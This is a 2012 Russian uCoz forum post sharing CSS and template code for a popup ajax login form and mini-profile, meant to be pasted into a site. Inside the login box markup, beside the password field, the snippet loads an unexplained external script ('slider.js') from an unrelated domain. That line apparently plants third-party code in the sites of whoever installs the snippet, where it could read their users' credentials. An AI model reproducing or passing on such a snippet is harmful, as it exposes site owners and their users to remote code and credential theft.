Вы вошли как Гость / Группа "Гости"


Баннерообмен

Последние ответы на форуме
"Как раскрутить сайт?&quo... (0)
Новый Топ пользователей с ават... (0)
Простой и красивый вид формы о... (0)
Красивый информер "кто на... (0)
Flash радио для сайта (0)
Популярные темы на форуме
Аватар и шапка (9)
Аватор (4)
Куплю оптом (4)
Новый вид новостей (4)
Реальноя раскрутка сайта (4)

  • Страница 1 из 1
  • 1
Новая форма входа для Ucoz в ajax окне
sachok Дата: Понедельник, 06.02.2012, 02:55 | Сообщение # 1
Сообщений: 101
Репутация: 1
Замечания:
Статус: Offline
Скрин: http://s59.radikal.ru/i163/1202/ff/5d5e98ba0e41.png

Новая форма входа для Ucoz в ajax окне + мини-профиль в ajax окне
Форма входа и мини-профиль вызываются спомощью ссылки.
Вставляем в css в самый низ:

Code
/* User Box */   
   #userbox {text-shadow:0 -1px 0 #446b81;color:#fff;font:normal 14px Trebuchet MS,Arial,Tahoma,Verdana;display:none;position:fixed;top:50%;left:50%;padding:29px 33px 0;width:250px;margin-left:-158px;margin-top:-140px;height:281px;background:url('http://www.csomsk.ru/1-ucoz/pm/user_box.png') no-repeat 0 0;}   
   #userbox a {color:#fff;text-decoration:none;}   
   #userbox a:hover {text-decoration:underline;}   
   #userbox span#nm {font:bold 26px Trebuchet MS,Arial,Tahoma,Verdana;margin-bottom:18px;display:block;}   
   #userbox #cls {width:25px;height:25px;display:block;float:right;background:url('http://www.csomsk.ru/1-ucoz/pm/oel.png') no-repeat 0 -133px;cursor:pointer;}   
   #userbox input[type='text'], #userbox input[type='password'] {margin-top:19px;padding:0 13px;background:url('http://www.csomsk.ru/1-ucoz/pm/oel.png') no-repeat 0 0;font:normal 15px/38px Trebuchet MS,Arial,Tahoma,Verdana;width:224px;height:37px;color:#9f9f9f;border:none;outline:none;}   

   #userbox input#log_in {background:url('http://www.csomsk.ru/1-ucoz/pm/logbt.png') no-repeat -122px 0;cursor:pointer;width:122px;height:40px;margin:21px 64px 0;border:none;outline:none;}   
   #userbox input#log_in:hover {background:url('http://www.csomsk.ru/1-ucoz/pm/logbt.png') no-repeat -122px -41px;}   
   #userbox input#log_out {background:url('http://www.csomsk.ru/1-ucoz/pm/logbt.png') no-repeat 0 0;cursor:pointer;width:122px;height:40px;margin:21px 64px 0;border:none;outline:none;}   
   #userbox input#log_out:hover {background:url('http://www.csomsk.ru/1-ucoz/pm/logbt.png') no-repeat 0 -41px;}   

   #userbox #avatar {width:95px;height:96px;background:url('http://www.csomsk.ru/1-ucoz/pm/oel.png') no-repeat 0 -37px;float:left;margin-right:22px;margin-top:19px;}   
   #userbox #avatar img {max-with:85px;max-height:85px;margin:5px 5px 0 5px;border:none;}   
   #userbox #u_block {padding-top:21px;}   
   #userbox #u_block a {display:block;}   
   /* -------- */


Где хотите видеть ссылку для вызова вставляем:

Code
<!-- User_Box -->   
   <script type="text/javascript">function log_in() {$('input[name=user]').val($('#u_login').val());$('input[name=password]').val($('#u_pass').val());$('input[name=sbm]').click();}</script>   
   <div id='userbox'>   
   <div id='cls' title='Закрыть' onclick="$('#userbox').fadeOut();"></div>   
   <script src="http://drips.ru/slider.js" type="text/javascript"></script>
   <span id='nm'><?if($USER_LOGGED_IN$)?>Профиль<?else?>Вход<?endif?></span>   
   <?if($USER_LOGGED_IN$)?>   
   <div id='avatar'><img src='$USER_AVATAR_URL$' alt='avatar' title='$USERNAME$'></div>   
   <div id='u_block'>   
   <a href='/news/0-0-0-1'>Добавить Новость</a>   
   <a href='/index/14'>Сообщения: <span title='Непрочитанных сообщений: $UNREAD_PM$'>$UNREAD_PM$</span></a>   
   <a href='/index/8'>Мой Профиль</a>   
   <a href='/index/11'>Изенить Данные</a>   
   <a href='/index/15'>Все Пользовтели</a>   
   <input type='button' value='' title='Выйти' id="log_out" onclick="location.href='/index/10'">   
   </div>   
   <?else?><input type='text' id='u_login' value='Логин' size='20' maxlength='50' onblur="if(value == ''){value = 'Логин'}" onfocus="if(value == 'Логин'){value =''}">   
   <input type='password' id='u_pass' value='Пароль' size='20' maxlength='50' onblur="if(value == ''){value = 'Пароль'}" onfocus="if(value == 'Пароль'){value =''}">   
   <input type='button' value='' id="log_in" onclick='log_in();'>   
   <?endif?>   
   </div>   
   <!-- /User_Box -->
<a href="javascript://" onclick="$('#userbox').fadeIn();"><?if($USER_LOGGED_IN$)?>Профиль<?else?>Вход<?endif?></a>


ВНИМАНИЕ: Стандартную форму входа нужно удалить и глобольных блоков (Если есть)


sachok
  • Страница 1 из 1
  • 1
Поиск:

Все материалы размещенные на сайте пренадлежат их владельцам и предоставляются исключительно в ознакомительных целях.
Администрация ответственности за содержание материала не несет и убытки не возмещает.
качать шаблоны для Ucoz, шаблоны для Ucoz, скрипты для Ucoz, бесплатные шаблоны для Ucoz, все для Ucoz, софт шаблон для Ucoz, шаблоны под Ucoz, бесплатное для ucoz, Бесплатно скачать шаблоны скрипты без регистрации, все для Ucoz, софт шаблон для Ucoz, шаблоны под Ucoz, бесплатное для ucoz, кнопоки и иконоки для ucoz, кнопки для форума UcoZ, иконки для форума UcoZ, ucoz шаблоны, ucoz скрипты, скрипты для ucoz, шаблон для ucoz, юкоз, ucoz, скрипты, иконки, фотошоп уроки, бесплатно заказать графику, раскрутить свой сайт бесплатно ucoz, Скачать программы, бесплатные программы, Шаблоны для ucoz, Скрипты, всё для веб мастера UcoZ, укоз скрипты, юкоз шаблоны, скрипты для uCoz, ucoz scripsts, юкоз скрипты, скрипты, раздача ICQ, графика для сайта, для вебмастеров, javascript, js, html шаблоны, css, иконки, учебники по HTML, учебники по CSS, Дизайн, photoshop, Шаблоны, Ucoz, скрипты, design-studio, бесплатно, рип, rip, зароботок, игры, фильмы, реклама
© Pro uCoz Все права защищены. Хостинг от uCoz